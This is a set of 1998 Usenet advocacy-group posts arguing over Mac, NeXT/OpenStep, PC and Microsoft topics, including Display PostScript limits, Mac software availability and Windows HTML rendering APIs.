while I'm at work. It may not be as quantifiable as we'd like, but I can
walk across campus, spend 5 minutes picking out a complete system, bring
it back, plug it in, install some apps, and *trust* that it will just
work. I'm buying that trust that Apple has earned - and convenience is
part of it as well. It's the same reason why people buy 64MB DIMMS from
Dells website at $200 per. Trust and convenience.
>> Great for me the consumer like me, who can literally pull a
>> Quadra 610 out of a garbage barrel and turn it into a NetBSD box doing
>> IP-NAT over a cable modem, or pick up a IIci for $30 and turn it into a
>> NetBSD X station and dial-in, dial-out server on my home network.
>
>Explain again how you're better off than me. I've turned my share of old
>386 and 486 machines into FreeBSD and Linux clients and servers. The
>main difference is that I was able to put a serial expander and a fast
>SCSI solution into those boxes and get my time's worth.
Because he knows what is in that box. If it's a IIci, it's the same as
*every* other IIci. They all have the same SCSI, the same RAM, the same
sound, video, I/O, and so on (with some exceptions, like ethernet). If you
can set up NetBSD on one IIci, you can set it up on all of them. I'm busy,
I just want it to work. While your PC experience seems to be exceptionally
good (remarkably so in fact) others isn't so good.
Do you Mac people still keep those "Mac
>Memory Charts" around for reference?
Apple distributes a stand alone FMPro database with all the specs now.
>Don't let me put words into your mouth, but like I said, this sounds
>like pure provinciality to me. Have you seen Alan Cox's progress pages
>regarding the MacLinux port? Do you realize how difficult it is to to
>unravel the silliness of Apple's closed architecture (which changed,
>apparently, every six months or so).
Yeah, it really sucked. But it's documented. I can buy a 7200 from
somebody and know *exactly* what is in it without ever seeing it. Someone
can call me on the phone and I know what they have in front of them. You
can't even get that in high-quality PCs all the time since they'll swap in
this mfg for that now and then. Apple's beginning to do that in places, so
I expect some of the PC issues to crop up in Macs now.
>> Too many alternatives, too many variables.
>
>Ooooh, that's rough. I'm sure there's somebody out there who can sort it
>all out for you. Probably for a fee, but that's what integration is all
>about, I guess.
But I don't need to pay anyone to sort it out for me. I've got that funky
little Filemaker DB with nearly all the answers. And it can do that
because there aren't too many alternatives and too many variables.
Integration is all about not needing someone to sort it out for you. A PC
suffed with random chunks of silicon is not 'integrated'. Apple will tell
me, very specifically, 'This piece of software or this OS WILL run on the
following computers...'. Will NT run on a given system? Dunno, try it and
find out or whip out the big MS hardware and driver mambo footstep chart.
Will Linux run on a given system? Dunno, yank out all your cards and
figure out what they are. At least you can write a driver if one is
missing, but why on earth would I want to do that? Better off spending the
extra $100 or $200 on hardware that I *know* will work. Again, why people
buy Dell hardware. It's good stuff that allows people to know the answers
to all of those questions.
>> Better to make money in your own
>> lifetime and grease the existing wheels than design new ones, right? Much
>> easier, lower risk. Why risk, why plan, why strive?
>
>Sorry, lost you again, Mission Control. I thought we had already
>established that technological progress was Bad, over?
Technical progress isn't bad. But the PC world is stuck in the 1950's
model of building engines. They aren't making much progress. They are
merely offering new bells and new whistles that the consumer is expected
to make work. Consumers see 84 channel stereo sound and view it as
technologically more advanced than 77 channel stero sound. Except that
when you put it in your computer, more often than not you'll have to take
off that bunny suit and slip into an animal skin, don a cattle skull and
wield the big club just to make it work. Wham! Wham! Wham!
Your system is only as technically advanced as the least primitive
element. That's why the fud wars shift from 'Mac is not expandable' to
'Mac has no memory protection' to 'Mac is slower' to 'Mac has no AGP'.
It wasn't until automakers broke the model that they were able to
introduce technology that makes engines 'just work' for extended periods
of time. Apple broke the model early on, but apparently people weren't
ready. Computers were a novelty just as cars were to the young people
following WWII. But now computers are more important for many markets.
They do work. They are utilitarian and need reliability and
predictability, not endless options.
-Bob Cassidy
From: "Paul" <shecky@unsolicited.sprintmail.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: Tue, 02 Jun 1998 17:06:54 +0100
Message-ID: <6l1p8q$ak3$1@newsfep1.sprintmail.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
Mime-Version: 1.0
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In article <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> ,
MACGHOD <Macghod@concentric.net> wrote:
>[snip]
>That means Mac users rarely can play the hottest games on the market.
>They're second-class citizens in this arena.
Games = software? No offense, but that's a Mac/PC arguement I'm really
getting sick of.
Don't get me wrong-I know as well as anyone that the Mac has a much smaller
pool of software than PC's, but I've been using Macs for about 8 years now,
and I've never felt shortchanged in the software dept. Everything I want I
can get- graphic app's, e-mail apps, tax prep software, etc. (I don't use
office apps, but what else does the average Joe like myself use besides MS
Office?).
The only thing I wish the Mac had more of is infotainment-type cd's (i.e.,
Cinemania, art cd's, etc) because it's a pain sometimes to find the stuff on
the web. Besides, there's so much shovel-ware out for the PC (At least from
what I see on display at Best Buy. How many crappy clip-art cd's do people
buy, anyway?) it makes me wonder what's available for PC's besides
games...and anyway, I like my Playstation (26" screen, comfy chair,
component sound).
_____________________________________________
"...I'm beyond hostility. Hostility is a sign of weakness."
Bill Griffith
(Zippy the Pinhead)
Remove 'unsolicited' from my address to reply.
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Howabout Something Better than what we have now?
Date: 2 Jun 1998 21:08:06 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l1pjm$s30$1@news.cs.tu-berlin.de>
References: <6km6s9$5sd$1@ns3.vrx.net> <B1952EF8-100D4@206.165.43.134> <6kpbgu$kuo$2@ns3.vrx.net> <rex-3105982335250001@192.168.0.3> <6ktunk$a6t$4@ns3.vrx.net> <rex-0106981554560001@192.168.0.3> <6l0cl4$763$1@news.cs.tu-berlin.de> <rex-0206980857260001@192.168.0.3> <6l141h$ig9$1@news.cs.tu-berlin.de> <rex-0206981543010001@192.168.0.3>
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rex@smallandmighty.com (Eric King) writes:
>In article <6l141h$ig9$1@news.cs.tu-berlin.de>, marcel@cs.tu-berlin.de
>(Marcel Weiher) wrote:
> The only limit
>:in DPS is that windows cannot be larger than 16K x 16K *pixels*.
> Actually according to the DPS docs, they can't have coordinates with an
>absolute value greater than 16000 because they are automatically converted
>to integer coordinates and a window's width and height are limited to
>10000.
You still misunderstand. The 'coordinates' that will be converted to
integer and limited are the window bounds.
>:Considering typical screen sizes and the fact that that is 256MPixels,
>:it seems quite a reasonable limit for a computer display system.
> Whoever it was, cited limitations with how fonts were constructed, and
>a few other little hidden away places. But the fact of the matter is, the
>limitations are in there. Postscript as a *language* might not readily
>expose them, but the implementations certainly do, and you can't
>completely ignore the implementations.
Nope. The limitations are in the Type-1 format, and documented there.
They are not in the language, they are not exposed.
>:For example, there are no limits to the size View you can have.
> Sure there are.
Ok, you got me, the limits are +- 10^38. Whoop-Dee-Doo.
>:Only if you're careful. If you're not, your coordinates might
>:overflow or get squashed to zero at the *modelling* level.
> And similarly you would lose sub-pixel precision if you have a really
>large coordinates. Remember DPS uses floats in its functions, not doubles.
>There are problems with both models. Though oddly enough the DPS server
>can handle paths sent in fixed-point coordinates as well...
Sure. The 16 bit scaled integers are a more compact representation
than 32 bit floats. Less communications bandwidth. Also, if the
developer has integer coordinates to send, why convert them to float?
And if there is an optimized path for integer coordinates, so much
the better. After all, the first CPU this had to run on was a
68030/68881 combination, with somewhat less than stellar FPU performance.
Once the '040s were out, there wasn't really much of a difference.
Heck, they even did away with the blitting DMA channels because the
CPU alone could completely saturate the memory subsystem. I don't
think too many people bothered with the fixed point representation
afterwards, because float is just so much more convenient.
>:No you're not.
> Adobe would disagree, since their implementation do use fixed-point.
ONCE IT IS SAFE TO DO SO
>:Hogwash. Postscript doesn't assume anything.
> The original poster, said that yes, it does indeed assume certain
>things. Go ahead draw some really large things in Postscript, see if
>they'll print.
They will.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 2 Jun 1998 16:02:41 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l17n1$rbq$4@ns3.vrx.net>
References: <6l14q4$adf$2@ironhorse.plsys.co.uk> <B199A6F7-1B326@206.165.43.1>
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Cc: english@primenet.com
In <B199A6F7-1B326@206.165.43.1> "Lawson English" claimed:
> Oh, well. If my GXFCN ever takes off, you'll have a lot of people asking
> for GX in Carbon and maybe Apple will listen then.
Ahhh yes, that group being defined as the intersection of HC programmers
and GX users. I believe it consists of one.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 2 Jun 1998 16:00:33 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6l17j1$rbq$3@ns3.vrx.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>
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Cc: Macghod@concentric.net
In <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> MACGHOD
claimed:
> 3 years ago a WHOOPING %70 of all developers wrote software for the mac,
> now, ONLY %20 do.
*coff*. I don't believe there has ever been a point in time where more
than 30% of developers wrote software for the Mac, and in fact the vast
majority of software development until recently was one-off custom solutions,
as likely to be on a mainframe as a PC. Sorry, I don't believe that number
for an instant.
Maury
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 2 Jun 1998 21:17:30 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6l1q5a$sad$1@news.cs.tu-berlin.de>
References: <6l14q4$adf$2@ironhorse.plsys.co.uk> <B199A6F7-1B326@206.165.43.1>
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"Lawson English" <english@primenet.com> writes:
>mmalcolm crawford <malcolm@plsys.co.uk> said:
>>> Second the PS* commands
>>> are pretty basic commands and could be easily replicated with GX or
>other
>>> graphics libraries. They are not necessarily reliant on Postscript.
>>>
>>But would GX use the same algorithms? Given that output is likely to be
>to
>>a
>>PostScript printer, how assured can you be of true WYSIWYG?
>Translation from quadratic to cubic bezier format can be made as accurate
>as you like.
>TrueType and TT GX are based on quadratic beziers while PS Type 1 etc use
>cubic beziers. Are you claiming non-true-WYSIWYG when someone uses a TT
>font?
Having written a TT -> T1/T3 converter: it's not *that* simple.
Yes, Quadratic->Bezier can be handled, but there are quite a
few more issues having to do with glyph encoding, missing or
ambiguous specifications etc.
Far more difficult than the identity transformation, believe me.
Marcel
--
Java and C++ make you think that the new ideas are like the old ones.
Java is the most distressing thing to hit computing since MS-DOS.
- Alan Kay -
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 2 Jun 1998 21:46:46 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6l1rs6$pug$1@new-news.cc.brandeis.edu>
References: <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net>
In article <35744B61.1DDA4091@nstar.net> "Michael J. Peck" <mjpeck@nstar.net> writes:
>Nathan G. Raymond wrote:
>
>[cut - I didn't understand this part]
>
>> [snip]
>> >So you say. Diamond M80 for $80, less for a wholesaler. Support for both
>> >major 3D sound APIs, PCI interface, robust onboard memory, voice,
>> >synthesizer, and mixing support. Average 3% CPU utilization during full
>> >operation. That's called *value*, and that's *not* what Apple delivers.
>>
>> Diamond M80 today, what tommorrow?
>> Most PC hardware and software in the market is optimized for "churn" - get
>> the consumer to buy it, then a year or two down the road dump it for
>> something "newer, better".
>
>Yes! It's wonderful. Every year or so I spend $80 and get the
>latest-and-greatest sound card, upon which the fast-moving gaming market
>makes wonderful things happen: four-speaker surround sound,
>three-dimensional sound, excellent clarity, moving bass, convincing
>speech synthesis, low CPU utilization with advanced busmastering
>designs.
>
>What does your Macintosh have?
There are some unstated premises I'm working on which I should have
mentioned:
a) progress in the computer industry is a given for the foreseeable future
(continually decreasing costs, which also translates into rapid
depreciation for all existing investments and guranteed obselescence)
b) once a hardware/software platform has critical mass, market momentum
will sustain it without much outside support
c) any industry will milk consumers/buyers as much as possible
d) a passive buyer is preferred by producers in most cases to an active
buyer (passive = impulsive || apathetic || ignorant || short on free time
|| overwhelmed)
e) mainstream computer magazines will not write an article or review which
could disrupt the markets of major advertisers
f) What makes a game fun to play isn't the technology used (eye candy and
great sound add to the immersiveness and to a certain degree the fun
factor, but cannot make a bad game good or a droll rehash innovative and
unique)
g) computers have replaced cars/sports cars in modern male western
culture, except the average male knows even less what he is talking about
For more about games, see Richard Rouse III's article in Inside Mac Games
<http://www.imgmagazine.com/>, Volume 5, Issue 5 -
<ftp://209.125.9.142/pub/issues/IMG55.sit.hqx>
"Playing for the Fanboys My recent trip to the Electronic Entertainment
Expo (often known simply as E3) in Atlanta did nothing to assuage my fears
about the state of computer gaming today, and the dangerous path we as an
industry are currently headed down. To avoid confusion, I'm not talking
about Macintosh gaming here, but gaming in general. In fact, the phenomena
I'm intent on discussing happens probably slightly less on the Mac, but
its effects can be seen nonetheless. This column is going to discuss a
topic a lot of you probably don't want to hear, a theory which may be
something you'd rather dismiss as just so many paranoid delusions. But,
dag nabbit, it needs to be said. And said again and again, until people
realize the dangerous path we tread, which may lead to profitability in
the short term, but will lead to industry recession - and an overall
stifling of creativity and diversity - in the long term. I call the
phenomenon 'Playing for the Fanboys.'..."
[snip]
>Oh, Nathan. I forgot about how put-upon the masses are; I suppose I
>should include that in my calculation of the benefits offered by a rapid
>technological pace. Pie-in-the-sky intellectuals like myself all too
>often fail to realize that the best market is the *slow* market.
I wasn't championing the slow market - I was saying that there is very
little existing incentive for hardware producers to do anything
but "churn" and little incentive for software producers to truly innovate
when they can just release new version to extract money from customers
through incremental advancements that can help to lock that customer into
that solution through a variety of mechanisms (file formats, interface
design and usability curves, bundled solutions, etc.) It is much more
advantageous for any designer to focus exclusively on these dimensions and
leave any real innovation and significant advancement as byproduct or
last-resort innevitability. The computer industry can use its very unique
market aspects to consider the consumer's long-term interests as a near
last-priority while giving the consumer the impression that they are
priority #1.
All of this leads to my real point: people everywhere should stop
quibbling over details about stuff today, even stuff coming out tommorrow,
and take an active part in the industry by exercising their buying dollar
and manipulating the industry in a way that diversifies options and
empowers the consumer in ways like never before. That means NOT
re-inforcing the current top-selling solution through
personal endorsements or positive remarks, but a focus on the future and
how to keep the important decisions of interface design and holistic
long-term hardware/software integration with an eye for maximum
long-term price/long-term performance. It's all too easy for a corporate
dept. to write off support costs seperate from capitol costs of hardware
aquisitions. The way things are currently tracked, the real financial
costs of technology can be easily hidden and do make themselves aparent on
the balance books. Very, very, very far from a free market, and we are
ALL GUILTY.
<http://www.scientificamerican.com/0797issue/0797trends.html>
Taking Computers to Task
Coming generations of computers will be more fun and engaging to use.
But will they earn their keep in the workplace?
by W. Wayt Gibbs, staff writer
"But in the computer industry and in the media that cover it, it has
become common to tout with almost millennial fervor that the changing
face of computers will make them not just more enjoyable but also
dramatically more useful. Historian (and Scientific American
columnist) James Burke spoke for many at the conference when he
asserted that 'we stand today on the threshold of an explosion in
information technology, the social and economic consequences of which
will make everything that came before look like slow motion.'
"In fact, the explosion is well under way, and its economic blessings
so far appear decidedly mixed. For all the useful things computers do,
they do not seem, on balance, to have made us much richer by enabling
us to do more work, of increasing value, in less time. Compared with
the big economic bangs delivered by water-, steam- and
electricity-powered machines, productivity growth in the information
age has been a mere whimper.
"Anyone who has whiled away an afternoon upgrading a word processor,
taken a break at work to download box scores from ESPN.com or
watched in horror as a system crash obliterated several hours' work
can attest to part of the problem. Recent studies of computer use in
offices reveal that much of the time saved by automation is frittered
away by software that is unnecessarily difficult, unpredictable and
inefficient. Design experts warn that current industry trends toward
increasingly complex programs and new, untested ways of presenting
information could do more harm than good--and will almost certainly do
less good than advertised. The road to improved productivity, they
argue, heads in a very different direction..."
--
Nathan Raymond
http://www.everythingmac.com
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 2 Jun 1998 22:13:16 GMT
Message-ID: <6l1tds$aja$1@newsfep4.sprintmail.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <joe.ragosta-0206981647230001@wil43.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-0206981647230001@wil43.dol.net> Joe Ragosta wrote:
> In article <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>,
> MACGHOD <Macghod@concentric.net> wrote:
>
> > Yes, we all know Joe's response, show us the companies leaving the mac.
> > How about this Joe,
> > 3 years ago a WHOOPING %70 of all developers wrote software for the mac,
> > now, ONLY %20 do.
>
> Oh, good. Some figures.
>
> Care to document them? Or is this the usual made up set of numbers that
> gets spewed all over this group?
You snipped the part where I DID document it. Its a link from todays macnn.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: STEPWISE Scoop on UI
Date: 2 Jun 1998 22:11:01 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6l1t9l$dno$1@news.spacelab.net>
References: <355bc985.0@206.25.228.5> <6jhcc7$1cc$43@ironhorse.plsys.co.uk> <6jhp08$5he@ragnarok.en.uunet.de> <6jhvgs$6sf$1@news.xmission.com> <6ji0m0$at4$1@crib.bevc.blacksburg.va.us> <6jiaqk$6sf$4@news.xmission.com> <SCOTT.98May29151643@slave.doubleu.com> <6kpcnn$kuo$5@ns3.vrx.net> <6kun0a$88t$1@news.spacelab.net> <3572E1F4.D8B5A1C3@nstar.net> <6kv40p$90t$1@news.spacelab.net> <357317A3.1A2D55C4@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
>Charles W. Swiger wrote:
[ ... ]
>> This topic is also one where subjective factors can outweigh purely objective
>> measurements. For example, doing incremental display is guaranteed to be slower
>> than rendering the complete image and then displaying, yet most people prefer the
>> former since the preliminary stages gives them something to look at while waiting
>> for the complete image.
>
> Ah. Specifically, perhaps you can comment on the speed of the X Window
> System with regard to its client/server model.
Not sure how much insight I can offer-- that's a pretty general topic and I'm not an
expert on X. Hmm...let's start with the obvious: X does have a client/server model and a
reasonable wire protocol implementation, and GUI remoteability works well over fast
connections.
My experience (and experimentation with) slow-speed dialup connections suggests that X
isn't terribly compact in it's communications; I've found NXHost'ing a DPS connection to
be notably more responsive. X's handling of obscured windows isn't very fast, from what
I remember, either.
I'm not sure there's much connection between the notion incremental drawing and X or any
other windowing system, since this is generally done at the application level (classic
example is a web browser incrementally displaying a GIF, etc).
[ ... ]
>Thanks for your commentary, Chuck.
No charge.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: macghod@concentric.net
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Date: 2 Jun 1998 22:21:39 GMT
Message-ID: <6l1ttj$aja$2@newsfep4.sprintmail.com>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <joe.ragosta-0206981647230001@wil43.dol.net>
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Cc: joe.ragosta@dol.net,sal@panix.com
In <joe.ragosta-0206981647230001@wil43.dol.net> Joe Ragosta wrote:
> In article <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>,
> MACGHOD <Macghod@concentric.net> wrote:
>
> > Yes, we all know Joe's response, show us the companies leaving the mac.
> > How about this Joe,
> > 3 years ago a WHOOPING %70 of all developers wrote software for the mac,
> > now, ONLY %20 do.
>
> Oh, good. Some figures.
>
> Care to document them? Or is this the usual made up set of numbers that
> gets spewed all over this group?
I think I should be more clear where this is from. Apparently the writter
is full of poo poo. Guess www.macnn.com is another site not to trust :P
It says the following, from todays afternoon adition (1:44 edt)
Charles Haddad talks about the importance of software developers to the Mac
platform, citing a drastic decrease from 70 percent to 20 percent overall of
developers who create Mac versions of their software. (There was much
evangelism for developer support at the recent E3 Gaming Expo in Atlanta.)
The link is to what I assume is the New York TImes,
http://nytsyn.com/IMDS%7CCND7%7Cread%7C/home/content/users/imds/feeds/nytsyn/1998/06/02/cndin/9919-0051-pat_nytimes%7C%7C/home/content/users/imds/feeds/nytsyn/1998/06/02/cndin/9908-0043-pat_nytimes%7C%7C
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: sal@panix2.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody on Intel
Date: 2 Jun 1998 22:16:07 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6n8ud7.jbt.sal@panix2.panix.com>
References: <slrn6n65fj.sqf.sal@panix3.panix.com> <3573201E.BCA15AB1 <35739395.42CCE64B@nstar.net> <6l1cq2$k6r$1@new-news.cc.brandeis.edu> <35744B61.1DDA4091@nstar.net>
On Tue, 02 Jun 1998 18:58:41 +0000, Michael J. Peck <mjpeck@nstar.net> wrote:
>Yes! It's wonderful. Every year or so I spend $80 and get the
>latest-and-greatest sound card, upon which the fast-moving gaming market
>makes wonderful things happen: four-speaker surround sound,
>three-dimensional sound, excellent clarity, moving bass, convincing
>speech synthesis, low CPU utilization with advanced busmastering
>designs.
>
>What does your Macintosh have?
A free system extension that does the same thing, and I don't have to
open my machine to install it. (BTW, any reason why PlainTalk isn't on
by default on the g3?)
Why do you need custom hardware to do TTS? Just to offload the CPU? What
a waste. Get a faster CPU if you need it. And if you want SS or 3d
or better bass get better speakers. An $80 is not going to improve tinny
speakers with washed out bass. Or hook you machine up to a stereo.
I know a guitar player with an 040 Mac who uses TTS and voice recognition.
If a 33mhz 040 with 24mb of RAM can handle TTS, midi and VR, then a pentium
should be able to without any problems.
The Mac has PCI slots. If there was a demand for new sound cards, someone
would be writing drivers for them. Seeing how so many artists and musicians
I know prefer Macs, I would think that the Mac market would have a few
sound cards availible. The only ones I have see are the ultra-high end
12track and 24track PCI studio cards. (They come with Mac and PC software
and drivers in the box)
>Wahl, gee golly, you talk so pretty!
And now you drop to the level of personal insults...
--
sal@panix.com
Salvatore Denaro
Date: Tue, 02 Jun 1998 18:33:53 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Where is all the mac software????
Message-ID: <joe.ragosta-0206981833530001@elk74.dol.net>
References: <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com> <joe.ragosta-0206981647230001@wil43.dol.net> <6l1tds$aja$1@newsfep4.sprintmail.com>
In article <6l1tds$aja$1@newsfep4.sprintmail.com>, macghod@concentric.net wrote:
> In <joe.ragosta-0206981647230001@wil43.dol.net> Joe Ragosta wrote:
> > In article <Pine.SUN.3.96.980602160659.18758B-100000@voyager.cris.com>,
> > MACGHOD <Macghod@concentric.net> wrote:
> >
> > > Yes, we all know Joe's response, show us the companies leaving the mac.
> > > How about this Joe,
> > > 3 years ago a WHOOPING %70 of all developers wrote software for the mac,
> > > now, ONLY %20 do.
> >
> > Oh, good. Some figures.
> >
> > Care to document them? Or is this the usual made up set of numbers that
> > gets spewed all over this group?
>
> You snipped the part where I DID document it. Its a link from todays macnn.
Actually, you didn't. You made the above statement, then said something
about MacNN without attributing the above to MacNN. But now that you've
clarified it, I found it.
http://nytsyn.com/IMDS%7CCND7%7Cread%7C/home/content/users/imds/feeds/nytsyn/1998/06/02/cndin/9919-0051-pat_nytimes%7C%7C/home/content/users/imds/feeds/nytsyn/1998/06/02/cndin/9908-0043-pat_nytimes%7C%7C
And you expect people to believe a journalist who apparently pulled the
numbers out of his *ss? He has no reference, and the statement is
completely contrary to common sense.
When you can provide a reasonable source of evidence (or a journalist who
at least cites his source of information), maybe you can make a case.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 22:55:39 GMT
Organization: gte.net
Message-ID: <6l1vr0$ssg$4@gte2.gte.net>
References: <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com> <357b26b9.31161519@news.supernews.com> <6kkga8$e0l$11@gte2.gte.net> <3571d7d0.5585733@news.supernews.com> <EtuyGM.LCH@midway.uchicago.edu>
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On Mon, 1 Jun 1998 05:41:09 GMT, someone claiming to be Pixel wrote:
>My favorite documentation of the nonexistence of the 'chinese wall' is
>Steve Ballmer's own confession that the wall never existed at all. I
>forgot where exactly I read it, unfortunately.
Why doesn't this surprise me?
>Besides that confession, there are also the 'hidden OS API's' that
>Microsoft developers by some strange reason get long before third party
>developers get them. For example, when Internet Explorer 3.0 first came
>out, and it was rated as faster than Netscape Navigator, it was found out
>that MS had built in API's to make Internet Explorer faster directly into
>Windows 95. And they neglected to let anyone else know about it. Big
>surprise.
And this is documented where? C'mon guys, you want me to stop asking
for proof. I will when you start supplying it.
>In addition, back when MS Office didn't have a stranglehold over everyone,
>and MS still insisted that there was a 'chinese wall', API's were built
>into Windows to help MS productivity apps that were not released to third
>party developers.
>
>All of this is documented by Microsoft and various other third parties.
Where?
From: rfelts@. (Roger)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 02 Jun 1998 22:55:37 GMT
Organization: gte.net
Message-ID: <6l1vqu$ssg$2@gte2.gte.net>
References: <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <6jqt6a$md2$2@strato.ultra.net> <chrisj-1905981341480001@usr2a12.bratt.sover.net> <6jtgif$vp6$8@ligarius.ultra.net> <35cfaa27.360314511@news.supernews.com> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <35798ddf.85250658@news.supernews.com>
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On Sun, 31 May 1998 17:54:12 GMT, someone claiming to be T. Max Devlin
wrote:
>rfelts@. (Roger), on Thu, 28 May 1998 20:28:52 GMT,
>>On Wed, 27 May 1998 05:18:50 GMT, someone claiming to be T. Max Devlin
>>wrote:
>>>No, I just told you (accurately) that the only reason your earlier
>>>description of success in launching a browser from the app you developed
>>>was because Microsoft provided both the OS and the browser.
>>Please read for comprehension this time. John was not discussing
>>launching a browser from his app.
>Would this be where the technical discussion is, Roger? Would this be
>where it is appropriate for me to point out that your assumption that
>the term 'calling the functionality of the OS to render the HTML' and
>'launching a browser' are somehow technically distinct is erroneous.
If you want to make that claim, you may. You'd be wrong. They are
distinct in that one calls up a separate window, with its own title
bar, controls, menus, processes and threads. The other renders HTML
in the context of a window / process which already exists, creating
another thread to do so if it pleases the author to do it that way,
same with displaying controls, menus, etc.
>Or
>should we point out at that Microsoft is currently arguing that users
>_have_ to be able to know they are looking at _Microsoft's_ software,
>but that John is supposed to love the idea that users don't know they
>are looking at John's HTML?
No, John likes it that he can do this in his app, and doesn't have to
write the entire rendering subsystem himself.
>Or how about we get back to discussing discussions again, and how you
>don't like to play fair in them, Roger.
* Snort * Warn me when you're going to do that, please. I hate
cleaning the monitor after a spit take.
Those damn verifiable facts. Always getting in the way.
"Play fair." I don't believe it.
>In fact, I was saying that
>John's ability to integrate HTML rendering in his application may be
>considered a real cool feature by some people with limited experience,
And others with not-so-limited experience.
>the fact that this is only possible when using Microsoft's operating
>system and Microsoft's development tools puts the lie to any contention
>that this is an advancement in computing technology.
But you're wrong. * Anyone * can call the API using development tool.
And the subsystem itself can be replaced in toto, should anyone care
to do so, so you wouldn't even need the MS .DLL.
>If you want to
>impress real technologists, you'll have to be able to do that on a
>different OS, or with a different development tool, or it is just a cute
>feature, not a useful function that developers can use.
Oh, so it's not cool unless it also runs cross platform. Can you
pretend to understand that cross-platform is not important to everyone
-- even those with alot of experience?
>>Which functionality is modular, and could be replaced with another
>>.DLL which exposes the same interfaces. Which interfaces are publicly
>>documented.
>Yes, but how to connect the exposed and document interfaces of the .DLL
>to the exposed and less-documented interfaces of the OS is not something
>that you can submit for competitive provision, since Microsoft designed
>the whole damn thing for Microsoft's use. If they were at all
>interested in having someone else able to replace their DLL, why did
>they handle the "development" as they did, ignoring all sane idea of
>interoperability and genuine innovation?
What interfaces of the OS would you need to communicate with that are
* not * exposed? They're the same ones every other program uses.
And since it was designed as a Windows thing, the fact that it can be
replaced gives all the interoperability it needed.
Yeah, it would have been good to have this available cross-platform.
But since we're talking MS, that prolly ain't gonna happen.
>You just moved the argument from "a completely Microsoft solution
>because of closed technology" to "a completely Microsoft solution
>because of lack of open technology". If this DLL is supposed to be
>standard access to HTML rendering, why does it include half of IE?
Because about half of what IE does is render HTML?
>If
>this DLL is supposed to be provisionable by a third party, why wasn't it
>available before IE was integrated into the OS?
The information to replace it was.
>If this DLL is supposed
>to be some sort of interoperable specification, why hasn't Microsoft
>submitted it, or anything like it, or even descriptions of the interface
>to it, to any standards body?
